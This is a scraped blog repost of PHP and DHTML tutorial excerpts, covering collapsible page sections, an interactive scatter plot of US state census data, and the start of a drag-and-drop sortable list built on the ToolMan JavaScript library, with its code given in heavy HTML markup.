0);"><span style="font-size:100%;"></html></span></pre> <p class="MsoNormal"><span style="font-size:100%;"><o:p> </o:p></span></p> <h5><span style="font-size:100%;">The script starts by defining the <a name="idx-CHP-3-0112"></a><tt>start_section</tt> and <a name="idx-CHP-3-0113"></a><tt>end_section</tt> functions, which bracket the blocks of content on the <a name="idx-CHP-3-0114"></a>page that will be shown (or hidden) interactively. The top section also defines a <a name="idx-CHP-3-0115"></a><tt>spinner_header</tt> function that will define the CSS and JavaScript used by the <a name="idx-CHP-3-0116"></a>DHTML portion of the system.</span></h5> <p class="doctext"><span style="font-size:100%;">The <tt>start_section</tt> function creates a table where the first column has the spinner graphic, and the second has the title of the section and a <a name="idx-CHP-3-0117"></a><tt>div</tt> element that will hold the content. The <tt>div</tt> element is initially set to be invisible, and its <a name="idx-CHP-3-0118"></a><tt>position</tt> attribute is set initially to "<tt>absolute</tt>" (a <tt>div</tt> element that is positioned as "<tt>relative</tt>" will still be accounted for in the layout). To make the <tt>div</tt> element and its content disappear, the <tt>position</tt> attribute's value is set to "<tt>absolute</tt>"; it can then be set back to "<tt>relative</tt>" for a reappearance.</span></p> <h4><span style="font-size:100%;"><a name="phphks-CHP-3-SECT-6.2"></a>Running</span></h4> <p class="doctext"><span style="font-size:100%;">Upload the code and images to the server, and point your browser at </span><span class="docemphasis" style="font-size:100%;">index.php</span><span style="font-size:100%;">. You should see something that looks like Figure 1</span></p> <h5 style="text-align: center;" align="center"><span style="font-size:100%;"><a name="phphks-CHP-3-FIG-8"></a>Figure 1. The sections closed up</span></h5><span style="font-size:100%;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrZ0HrjIk17uh0Emmo6BZv6kE2QhlbzboDVcL4BrqrCOWhL-o-HwQ3x2n4y_0ggP7U8FAkvaSraSVrlDCECaYLVbftkCUKxeHD5gueTgRMKWBQKzDVmEFCSSC2Ey_OkXlsbo8aScd3noU_/s1600-h/18.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrZ0HrjIk17uh0Emmo6BZv6kE2QhlbzboDVcL4BrqrCOWhL-o-HwQ3x2n4y_0ggP7U8FAkvaSraSVrlDCECaYLVbftkCUKxeHD5gueTgRMKWBQKzDVmEFCSSC2Ey_OkXlsbo8aScd3noU_/s320/18.bmp" alt="" id="BLOGGER_PHOTO_ID_5020637530111220162" border="0" /></a><br /></span> <p class="doctext">Click on the arrow next to the first part of the report, and watch it spin to expose the report section (as shown in Figure 2).</p> <h5 style="text-align: center;" align="center">Figure 2. The first section opened up</h5><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir-Dn161IpV4-ErAU8mKaXxd5RgGev691tAOr-ZRULkhtqGR2fCfeHOnFwa41Bj56xuLbfI7WtgPF2M67BwA9f10SYGhyQFUP50EPyabi2iBvgdWcJOU0VaAcvVNvwcmDQgU94QGPrCNBa/s1600-h/19.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir-Dn161IpV4-ErAU8mKaXxd5RgGev691tAOr-ZRULkhtqGR2fCfeHOnFwa41Bj56xuLbfI7WtgPF2M67BwA9f10SYGhyQFUP50EPyabi2iBvgdWcJOU0VaAcvVNvwcmDQgU94QGPrCNBa/s320/19.bmp" alt="" id="BLOGGER_PHOTO_ID_5020637873708603858" border="0" /></a> <p class="doctext">When writing code that does dynamic repositioning, as with this hack, it's very important to test it on every browser you intend to support. Positioning visible and invisible elements is one of those "gotcha" areas in <a name="idx-CHP-3-0120"></a>DHTML.</p></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-3306653799986348562007-01-16T06:23:00.000-08:002007-01-16T08:03:25.860-08:00Build Dynamic HTML Graphs<span style="font-size:100%;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK1DYI-V0zcq4D7ajGQyBUDPLgdA7eiMXs0c1pDzb0_Fh3NmKunlqrOTZmxpxEEXqkL8Ybr3BxLTrBHHD_p6DkedX8sJ5-kYyckF-BR3o9bTGKZpYLAC0HCzGpyTc95-1AvNTC3GE433WJ/s1600-h/16.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK1DYI-V0zcq4D7ajGQyBUDPLgdA7eiMXs0c1pDzb0_Fh3NmKunlqrOTZmxpxEEXqkL8Ybr3BxLTrBHHD_p6DkedX8sJ5-kYyckF-BR3o9bTGKZpYLAC0HCzGpyTc95-1AvNTC3GE433WJ/s320/16.bmp" alt="" id="BLOGGER_PHOTO_ID_5020634454914636194" border="0" /></a><br /></span><p class="doctext"><span class="docemphbold" style="font-size:100%;">Using <a name="idx-CHP-3-0101"></a>DHTML, you can build graphs that change without requiring even a page refresh. The result? Your users can play with data in real time</span><span style="font-size:100%;">.</span></p> <p class="doctext"><span style="font-size:100%;">Something is fundamentally unsatisfying about the way the Web works. You click on a link, the page disappears, and that lovely spinning ball or ticking clock grinds by as a new page appears section by section, (hopefully) with the information you want. This certainly is not the interactivity we're all used to from our client-side applications.</span></p> <p class="doctext"><span style="font-size:100%;">But, thank goodness, you can make an application that works without a page refresh. This hack shows you how to make an interactive scatter plot using a few graphics, some PHP, and a whole slew of JavaScript.</span></p> <h4><span style="font-size:100%;"><a name="phphks-CHP-3-SECT-5.1"></a>The Code</span></h4><span class="fullpost" style="font-size:100%;"> <p class="doctext">The index file, <span class="docemphasis">index.php</span>, is shown in Example 1.</p> <h5><a name="phphks-CHP-3-EXAMPLE-5"></a>Example 1. JavaScript, the real workhorse in this hack</h5> <pre style="color: rgb(153, 0, 0);"><?php $states = array(</pre><pre style="color: rgb(153, 0, 0);">array("Alabama",4447100,1963711,52419.02,<br />1675.01,50744,87.6,38.7),</pre><pre style="color: rgb(153, 0, 0);">array("Alaska",626932,260978,663267.26,91316,<br />571951.26,1.1,0.5),</pre><pre style="color: rgb(153, 0, 0);">array("Arizona",5130632,2189189,113998.3,363.73,<br />113634.57,45.2,19.3),</pre><pre style="color: rgb(153, 0, 0);">array("Arkansas",2673400,1173043,53178.62,<br />1110.45,52068.17,51.3,22.5),</pre><pre style="color: rgb(153, 0, 0);">array("California",33871648,12214549,163695.57,<br />7736.23,155959.34,217.2,78.3),</pre><pre style="color: rgb(153, 0, 0);">array( "Colorado",4301261,1808037,104093.57,<br />376.04,103717.53,41.5,17.4 ),</pre><pre style="color: rgb(153, 0, 0);">…</pre><pre style="color: rgb(153, 0, 0);">array( "Washington",5894121,2451075,71299.64,<br />4755.58,66544.06,88.6,36.8 ),</pre><pre style="color: rgb(153, 0, 0);">array( "West Virginia",1808344,844623,24229.76,<br />152.03,24077.73,75.1,35.1 ),</pre><pre style="color: rgb(153, 0, 0);">array( "Wisconsin",5363675,2321144,65497.82,<br />11187.72,54310.1,98.8,42.7 ),</pre><pre style="color: rgb(153, 0, 0);">array( "Wyoming",493782,223854,97813.56,713.16,<br />97100.4,5.1,2.3 ),</pre><pre style="color: rgb(153, 0, 0);">array( "Puerto Rico",3808610,1418476,5324.5,<br />1899.94,3424.56,1112.1,414.2 )</pre><pre style="color: rgb(153, 0, 0);">);</pre><pre style="color: rgb(153, 0, 0);">?></pre><pre style="color: rgb(153, 0, 0);"><html></pre><pre style="color: rgb(153, 0, 0);"><head></pre><pre style="color: rgb(153, 0, 0);"><script language="Javascript"></pre><pre style="color: rgb(153, 0, 0);">var width = 300;</pre><pre style="color: rgb(153, 0, 0);">var height = 300;</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">var axes = [<br />"population", "housing_units", "total_area",<br /> "total_water", "total_</pre><pre style="color: rgb(153, 0, 0);">land", "people_density", "housing_density" ];</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">var data = [</pre><pre style="color: rgb(153, 0, 0);"><?php $first = true; foreach( $states as $state )<br />{ if ( !$first ) echo( "," );</pre><pre style="color: rgb(153, 0, 0);">?></pre><pre style="color: rgb(153, 0, 0);">{ state: "<?php echo($state[0]); ?>",<br />population: <?php echo($state[1]); ?>,</pre><pre style="color: rgb(153, 0, 0);">housing_units: <?php echo($state[2]); ?>,<br />total_area: <?php echo($state[3]); ?>,</pre><pre style="color: rgb(153, 0, 0);">total_water: <?php echo($state[4]); ?>,<br /> total_land: <?php echo($state[5]); ?>,</pre><pre style="color: rgb(153, 0, 0);">people_density: <?php echo($state[6]); ?>,<br /> housing_density: <?php</pre><pre style="color: rgb(153, 0, 0);">echo($state[7]); ?> }</pre><pre style="color: rgb(153, 0, 0);"><?php $first = false; } ?></pre><pre style="color: rgb(153, 0, 0);">];</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">var axmin = {};</pre><pre style="color: rgb(153, 0, 0);">var axmax = {};</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">for( axind in axes )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>axmin[ axes[axind] ] = 100000000;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>axmax[ axes[axind] ] = -100000000;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);">for( <st1:state><st1:place>ind</st1:place></st1:state> in data )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>row = data[<st1:state><st1:place>ind</st1:place></st1:state>];</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>for( axind in axes )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span><span style=""> </span>axis = axes[axind];</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span><span style=""> </span>if ( row[axis] < axmin[axis] )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span><span style=""> </span>axmin[axis] = row[axis];</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span><span style=""> </span>if ( row[axis] > axmax[axis] )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span><span style=""> </span>axmax[axis] = row[axis];</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>}</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">function cleargraph( )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>graph = document.getElementById( "graph" );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>graph.innerHTML = "";</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">function adddot( value, size, x, y, text )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var left = x - ( size / 2 );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var top = width - ( y + ( size / 2 ) );</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var cleft = "auto";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var ctop = "auto";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var cright = "auto";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var cbottom = "auto";</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>if ( left < 0 ) { cright = ( left * -1 ) + "px"; }</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>if ( left + size > width ) { cleft = ( width - left ) + "px"; }</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>if ( top < 0 ) { ctop = ( top * -1 ) + "px"; }</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>if ( top + size > height ) { cbottom = ( height - top ) + "px"; }</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>if ( value <= 0.25 )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>img = "ltgray.gif";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>else if ( value <= 0.50 )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>img = "gray.gif";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>else if ( value <= 0.75 )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>img = "dkgray.gif";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>else</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>img = "black.gif";</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>html = "<img src=\""+img+"\" width=\""+size+"\" height=\""+size+"\" ";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>html += "style=\"position:absolute;left:"+left+"px;top:"+top+"px;";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>html += "clip:rect( "+ctop+" "+cleft+" "+cbottom+" "+cright+" );";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>html += "\" onclick=\"alert(\'"+text+"\')\"/>";</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>graph = document.getElementById( "graph" );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>graph.innerHTML += html;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">function calculate_value( row, field, min, max )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var val = row[ field ] - axmin[ field ];</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var scale = ( max - min ) / ( axmax[ field ] - axmin[ field ] );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>return min + ( scale * val );</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">function drawgraph( )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>cleargraph( );</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var xvar = document.getElementById( "bottom" ).value;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var yvar = document.getElementById( "side" ).value;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var sizevar = document.getElementById( "size" ).value;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var valuevar = document.getElementById( "color" ).value;</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>for( rowind in data )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var row = data[rowind];</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var x = calculate_value( row, xvar, 5, width - 5 );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var y = calculate_value( row, yvar, 5, height - 5 );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var size = calculate_value( row, sizevar, 5, 30 );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var value = calculate_value( row, valuevar, 0, 1 );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>adddot( value, size, x, y, row.state );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>}</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">function buildselect( axis, current )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var html = "<select id=\""+axis+"\" onchange=\"drawgraph( )\">";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>for( axind in axes )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>{</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>var selected = "";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>if ( axes[axind] == current )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span><span style=""> </span>selected = " selected=\"true\"";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>html += "<option value=\""+axes[axind]+"\""+selected+">"+axes[axind]+"</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span><span style=""> </span></option>";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>}</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>html += "</select>";</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>document.write( html );</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"></script></pre><pre style="color: rgb(153, 0, 0);"></head></pre><pre style="color: rgb(153, 0, 0);"><body onload="drawgraph( );"></pre><pre style="color: rgb(153, 0, 0);">Side: <script language="Javascript"><br />buildselect( "side", "population" );</script></pre><pre style="color: rgb(153, 0, 0);">Bottom: <script language="Javascript"><br />buildselect( "bottom", "housing_units" );</</pre><pre style="color: rgb(153, 0, 0);">script></pre><pre style="color: rgb(153, 0, 0);">Size: <script language="Javascript"><br />buildselect( "size", "total_area" );</script></pre><pre style="color: rgb(153, 0, 0);">Color: <script language="Javascript"><br />buildselect( "color", "total_water" );</</pre><pre style="color: rgb(153, 0, 0);">script></pre><pre style="color: rgb(153, 0, 0);"><div style="position:relative;border:1px solid #eee; clip:rect(0px 0px 300px</pre><pre style="color: rgb(153, 0, 0);">300px); width:300px; height:300px;" id="graph"></pre><pre style="color: rgb(153, 0, 0);"></div></pre><pre style="color: rgb(153, 0, 0);"></body></pre><pre style="color: rgb(153, 0, 0);"></html></pre> <p class="MsoNormal"><o:p> </o:p></p> <p class="doctext">The script starts by creating the data array, first in PHP and then in JavaScript. The data needs to be available to JavaScript so that the graph can be dynamically built on the fly using <a name="idx-CHP-3-0102"></a>DHTML. Once the data is loaded into the page, the rest is left up to the browser.</p> <p class="doctext">The first thing the browser does is create the drop downs using the <a name="idx-CHP-3-0103"></a><tt>buildselect( )</tt> function. Then, the <a name="idx-CHP-3-0104"></a><tt>onload()</tt> event fires on the <tt>body</tt> tag, which calls the <tt>drawgraph()</tt> function. This function in turn creates a new HTML string that's made up of lots of <tt>img</tt> tags, one for each state. The size of the image, as well as the position of the image on the graph, depends on which data attributes are assigned to what graph attributes via the drop down. Once the graph is created, the <tt>drawgraph()</tt> function sets the inner HTML of the graph <tt><div></tt> tag to the new HTML, rendering all of the images.</p> <p class="doctext">If the user selects a different attribute <a name="idx-CHP-3-0105"></a>with one of the drop downs, the <a name="idx-CHP-3-0106"></a><tt>drawgraph( )</tt> function is called again, and the graph is updated.</p> <h4><a name="phphks-CHP-3-SECT-5.2"></a>Running</h4> <p class="doctext">Upload the PHP page and the images to the server, and then navigate to the page in your web browser. You should see something along the lines of Figure 1. Now use the combo boxes to assign different variables to the different portions of the graph. The Side drop down changes the Y axis. The Bottom drop down changes the X axis. The Size drop down sets which of the attributes will alter the size of the ball, and the Color drop down assigns a data attribute to the color of the ball.</p> <p class="doctext">The Y axis represents housing units, and land area increases along the X axis. While most of the plot appears closely packed, there are a few outliers. Click on one of these to see which data point is represented; for instance, clicking on the black ball in the lower righthand corner results in the pop up shown in Figure 2.</p> <p class="doctext">This tells me that, not surprisingly, <st1:state><st1:place>Alaska</st1:place></st1:state> has the largest total size but has very few housing units. The size of the ball tells me that <st1:state><st1:place>Alaska</st1:place></st1:state> has a large amount of land mass as well. I'm not surprised by the size of the land mass, but the very low housing units number is somewhat interesting. There are also two other outliers: the medium gray ball in the middle of the graph (<st1:state><st1:place>Texas</st1:place></st1:state>), and the ball at the very top of the graph (<st1:state><st1:place>California</st1:place></st1:state>).</p> <p class="doctext"><o:p> </o:p></p> <span style="">Figure 1. The scatter plot after some experimentation<br /></span></span><span style="font-size:100%;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK1DYI-V0zcq4D7ajGQyBUDPLgdA7eiMXs0c1pDzb0_Fh3NmKunlqrOTZmxpxEEXqkL8Ybr3BxLTrBHHD_p6DkedX8sJ5-kYyckF-BR3o9bTGKZpYLAC0HCzGpyTc95-1AvNTC3GE433WJ/s1600-h/16.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK1DYI-V0zcq4D7ajGQyBUDPLgdA7eiMXs0c1pDzb0_Fh3NmKunlqrOTZmxpxEEXqkL8Ybr3BxLTrBHHD_p6DkedX8sJ5-kYyckF-BR3o9bTGKZpYLAC0HCzGpyTc95-1AvNTC3GE433WJ/s320/16.bmp" alt="" id="BLOGGER_PHOTO_ID_5020634454914636194" border="0" /></a><br /></span> <h5 style="text-align: center;" align="center">Figure 2. After clicking on the ball in the lower-right corner</h5> <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtY5yh_4K0I_Xe9KkE0sg_0taMPSp6Qws0BYCyjtjyTIBnZ7Axg8gR6MS6umPD-ABlQWMpDLRyPoSXQ3B4FT06x9asB8HbmDazmkHEj45ljO_tDW0ma01F_lqJPy1icRegJR6RBnkzDtUo/s1600-h/17.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtY5yh_4K0I_Xe9KkE0sg_0taMPSp6Qws0BYCyjtjyTIBnZ7Axg8gR6MS6umPD-ABlQWMpDLRyPoSXQ3B4FT06x9asB8HbmDazmkHEj45ljO_tDW0ma01F_lqJPy1icRegJR6RBnkzDtUo/s320/17.bmp" alt="" id="BLOGGER_PHOTO_ID_5020636460664363442" border="0" /></a><br /><span style="font-size:100%;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK1DYI-V0zcq4D7ajGQyBUDPLgdA7eiMXs0c1pDzb0_Fh3NmKunlqrOTZmxpxEEXqkL8Ybr3BxLTrBHHD_p6DkedX8sJ5-kYyckF-BR3o9bTGKZpYLAC0HCzGpyTc95-1AvNTC3GE433WJ/s1600-h/16.bmp"><br /></a></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-55848898029287770782007-01-16T06:09:00.000-08:002007-01-16T06:22:17.499-08:00Create Drag-and-Drop Lists With PHP<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfVBx3quvqHxqlEqda3H_-jmsqA4pZrS-WOmgp6SW2XKp2xcmvRc098FTr2fyxqr4bSYKFplgR2cCGP42jazni1m-IVlgPj-wf8UnAMwROafOipM8P5Fu6tWC71phvuYRDaK8h433hCEvx/s1600-h/14.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfVBx3quvqHxqlEqda3H_-jmsqA4pZrS-WOmgp6SW2XKp2xcmvRc098FTr2fyxqr4bSYKFplgR2cCGP42jazni1m-IVlgPj-wf8UnAMwROafOipM8P5Fu6tWC71phvuYRDaK8h433hCEvx/s320/14.bmp" alt="" id="BLOGGER_PHOTO_ID_5020631444142561666" border="0" /></a><br /><p class="doctext"><span class="docemphbold">Use JavaScript, <a name="idx-CHP-3-0091"></a>DHTML, and PHP to create and use drag-and-drop <a name="idx-CHP-3-0092"></a>lists</span>.</p> <p class="doctext">Creating an interface that allows the user to prioritize a list has always been a problem when working with HTML. With PHP, though, this is no longer the case. This hack uses an open source drag-and-drop library from ToolMan (<a href="http://tool-man.org/" target="_blank">http://tool-man.org/</a>) to create <a name="idx-CHP-3-0093"></a>drag-and-drop lists.</p> <h4><a name="phphks-CHP-3-SECT-4.1"></a>The Code</h4><span class="fullpost"> <p class="doctext">Enter the code shown in Example 1 and save it as <span class="docemphasis">index.html</span>.</p> <h5><a name="phphks-CHP-3-EXAMPLE-3"></a>Example 1. Building a drag-and-drop list with HTML and CSS</h5> <pre><a name="idx-CHP-3-0094"></a><span style="color: rgb(153, 0, 0);"><html></span></pre><pre style="color: rgb(153, 0, 0);"><head></pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><style></pre><pre style="color: rgb(153, 0, 0);">#states li { margin: 0px; }</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span></pre><pre style="color: rgb(153, 0, 0);">ul.boxy li { margin: 3px; }</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">ul.sortable li {</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>position: relative;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">ul.boxy {</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>list-style-type: none;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>padding: 0px;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>margin: 2px;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>width: 20em;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>font-size: 13px;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>font-family: Arial, sans-serif;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);">ul.boxy li {</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>cursor:move;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>padding: 2px 2px;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>border: 1px solid #ccc;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>background-color: #eee;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);">.clickable a {</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span> display: block;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span> text-decoration: none;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span> cursor: pointer;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span> cursor: hand;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);">.clickable li:hover {</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>background-color: #f6f6f6;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"></style></pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><script language="JavaScript" type="text/javascript"</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>src="source/org/tool-man/core.js"></script></pre><pre style="color: rgb(153, 0, 0);"><script language="JavaScript" type="text/javascript"</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>src="source/org/tool-man/events.js"></script></pre><pre style="color: rgb(153, 0, 0);"><script language="JavaScript" type="text/javascript"</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>src="source/org/tool-man/css.js"></script></pre><pre style="color: rgb(153, 0, 0);"><script language="JavaScript" type="text/javascript"</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>src="source/org/tool-man/coordinates.js"></script></pre><pre style="color: rgb(153, 0, 0);"><script language="JavaScript" type="text/javascript"</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>src="source/org/tool-man/drag.js"></script></pre><pre style="color: rgb(153, 0, 0);"><script language="JavaScript" type="text/javascript"</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>src="source/org/tool-man/dragsort.js"></script></pre><pre style="color: rgb(153, 0, 0);"><script language="JavaScript" type="text/javascript"</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>src="source/org/tool-man/cookies.js"></script></pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><script language="JavaScript" type="text/javascript"></pre><pre style="color: rgb(153, 0, 0);"><!--</pre><pre style="color: rgb(153, 0, 0);">var dragsort = ToolMan.dragsort( )</pre><pre style="color: rgb(153, 0, 0);">var junkdrawer = ToolMan.junkdrawer( )</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">window.onload = function( )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);">dragsort.makeListSortable(document.getElementById("states"),</pre><pre style="color: rgb(153, 0, 0);">verticalOnly, saveOrder)</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> 